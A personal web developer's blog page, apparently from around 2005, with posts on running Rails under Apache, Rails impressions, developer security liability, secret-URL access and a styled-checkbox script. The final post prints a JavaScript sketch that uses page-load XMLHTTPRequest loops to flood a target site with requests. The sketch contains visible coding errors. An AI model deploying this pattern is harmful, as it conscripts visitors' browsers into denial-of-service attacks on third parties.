Ruby on Rails on Apache

I just got Rails working on Apache, which is pretty cool, and fairly straight forward really. My big complaint about the whole process is, though, that the tip below was necessary to make apache stop just returning errors…

Note from porter.ea:

One additional edit that I found necessary was to add “#!c:/pathto/rubybin/rubyw” (note the “w”) at the top of the “C:appnamepublicdispatch.fcgi” file.

It’s worth noting the bit about (for performance):
FastCgiConfig -maxClassProcesses 1 -maxProcesses 1 -minProcesses 1 -processSlack 1

Ruby on Rails on Apache

Ruby on Rails

I was ill earlier this week, so out of boredom I thought I’d have a look at Ruby on Rails. Very impressed…

I guess I hadn’t realised, but Ruby is the language, and Rails is the web development framework for it. And boy does it work well. More on that later.

Installation was a bit of a bugger, and I couldn’t get the default installation (which I got here to talk to mySQL at first. The tutorial I was following was Rolling with Ruby on Rails, but I found I had to install the Ruby/MySQL API instead of whatever was installed by default. After that, the tutorial all worked fine.

It’s a good tutorial, so I won’t go through all that – instead I’ll write my impressions.

Okay, so Rails makes you use MVC (Model View Controller) as a design paradigm, but that’s no bad thing – I am a BIG fan of MVC. The Model part is really neat – Rails uses reflectance to define itself; that is, it looks at the database and defines the model based on the definitions it finds within. Clever, and simple.

The view – well, it does what it says. It’s quite nice – you can have templates, the views can have loops or call ‘helpers’. Works well. Plenty of functions for generation of links – and I love the automatic pagination. One line to do pagination – fantastic.

What impressed me the most was the main point of Rails, I guess – you have to do very little to get something that works up and running (which you can then develop upon), and it takes very little code. I mean, during that demo, you get a website that lists recipies, with all the create/delete/update/select actions in a total of 11 line of code, in which you wrote 1.

That’s a lot of bang per buck. I could be tempted off PHP by that.

So, the short of it – not played with Ruby itself so much, but it seems a fairly nice language. Typical one, you know. But Rails – very impressed, I can think of projects that would benefit from this. I expect it will become more popular (much more) though perhaps not amongst some of the PHP crowd, as MVC requires a certain degree of abstract though. If you’re a web developer, you probably want to take a look…

Ruby on Rails

Security Expert can't have ever coded

So, according to ZDNet, Security expert Howard Schmidt wants coders to be held responsible for vulnerabilities in their code. This is REALLY dumb.

He gets one thing right – I’ll give him that. Most developers don’t have an adequate idea of what security entails, and training in this is, at best, extremely rare. There should be more of that, both at university and in the job – attacks evolve, after all.

But making developers responsible? When they don’t have the authority to control the product? Management choose what features are ‘in’ or ‘out’, project times scales, budget, etc.. I’d love to produce better code, but my boss will reject my ‘It’ll take twice as long and be 3 times as expensive’ – and rightly so. Continue reading “Security Expert can't have ever coded”

Security Expert can't have ever coded

Throwing around data like it was water

An interesting article about ‘Web 2’. A bit buzzwordy, but it’s point is valid – the web is moving away from a book based ‘page’ paradigm towards a ‘data aggregation’ one. Instead of visiting specific pages, grab the data you need and put it onto one.

It’s interesting, and exciting, and although user discomfort with change will slow it down, we’d best be ready for it.

Throwing around data like it was water

No Logins…

What an interesting idea – no login/passwords, just a hard to quess URL. Provided that there’s nothing very valuable there, this seems a simple way of giving adequate security for some things – such as the invites app mentioned. I like it.

Comments from my old blog:

What about Search Engine’s spidering it? Of course you’ll want to include a <META NAME=”ROBOTS” CONTENT=”NOINDEX, NOFOLLOW”>, but even then, I’ve read that certain search engines like askjeeves.com IGNORE those tags.

Brandon@Cstone

By Brandon@Cstone at 04:12:01 Thursday 29th September 2005

Well, I guess as you say it’ll have to be for urls that aren’t linked to anywhere. The URL itself is sent out by email in the example. That’s my guess anyway.

By Andy at 21:43:46 Saturday 19th November 2005

No Logins…

Styling Checkboxes with JavaScript

I’ve been reading recently about how to do Styled Checkboxes. Well, this was something I was working on too – and naturally, I like my way more.

How it works
When the page loads, the JavaScript in checkbox.js checks all of the INPUT tags on the page. If they are a checkbox, and have BOTH and imgOn and an imgOff, then the INPUT tag has its style set to hidden, and the appropriate images are added to the DOM. They’re floating, though, and so are positioned where the checkbox was on the page.

When you click on one, it changes the state of the underlying checkbox (it’s still there, just hidden), and displays the image appropriate for that state.

When the form is submitted, the checkbox is submitted as normal.

As a user leaves the page, on unload the code in checkbox.js tries to tidy up after itself, although I’m a little concerned about memory leaks after some interesting articles I read recently.

Known Issues

  • These controls are not part of the tabindex. My friend Bruce Sandeman has been working on a version of this where the images are ‘tabable’, but is struggling to turn the border of the images off. I’ve included the code anyway – see checkbox2.js. I’ve not reviewed it yet, so user beware!
  • It’d be nice to hand all events on to the original checkbox for handling.
  • At the least, some sort of mouseover/mouseout? It’s not so obvious that these are checkboxes, at least with the demo images I’ve chosen.
  • I’m a little concerned about memory leaks given some things I’ve read recently and my use of closures. If anyone knows how to prove/prevent any leaks, let me know, that would be cool

How to Use

Real tricky this – include the checkbox.js file in your HTML page.
<script src="checkbox.js"></script>
Then, in the HTML for each of your checkboxes, add two new attributes – ‘imgOn’ and ‘imgOff’. The value of these attributes should be the path to the images you want to use for the checked (‘on’) and unchecked (‘off’) states.

<input type="checkbox" value='2' imgOn='tick.gif' imgOff='cross.gif' />

and with luck, that should be you done.

See the code below: Continue reading “Styling Checkboxes with JavaScript”

Styling Checkboxes with JavaScript

XMLHTTPRequest for Denial of Service

Maybe the XMLHTTPRequest handler isn’t such a good idea…

Right, so I was thinking about the XMLHTTPRequest handler. Well, okay, actually, I was thinking of Sandra Bullock, and this idea popped into my head…

You can use XMLHTTPRequests to make requests of a web server. Fair enough. And you can make requests of another site – check. And you can make many of them on one page – yup. And finally, you don’t have to do anything with the response – you see where I’m going with this yet?

Assume you have a function for creating XMLHTTPRequest objects. Consider the following:
var urlTarget = 'www.example.com'; // The site we want to DOS
var aStack = array();

function fnHTTP (oHTTP) {
return function () {
if (oHTTP.readyState == 3) {
oHTTP.open("GET", urlTarget, true);
oHTTP.send(null);
}
}
}

function setupDOS () {
for (i=0; i<100; i++ ) {

oHTTP = GetXMLHTTPRequest();
oHTTP.open("GET", urlTarget, true);
oHTTP.onreadystatechange = fnHTTP(oHTTP);
oHTTP.send(null);

aStack.push( oHTTP );
}
}

window.onload = setupDOS;
So, a user goes to a page. In the background, after they’ve loaded the page, JavaScript is creating a whole load of XMLHTTPRequest objects, and then using these to make requests of a target site. And as each object gets serviced, it makes another request. Continue reading “XMLHTTPRequest for Denial of Service”

XMLHTTPRequest for Denial of Service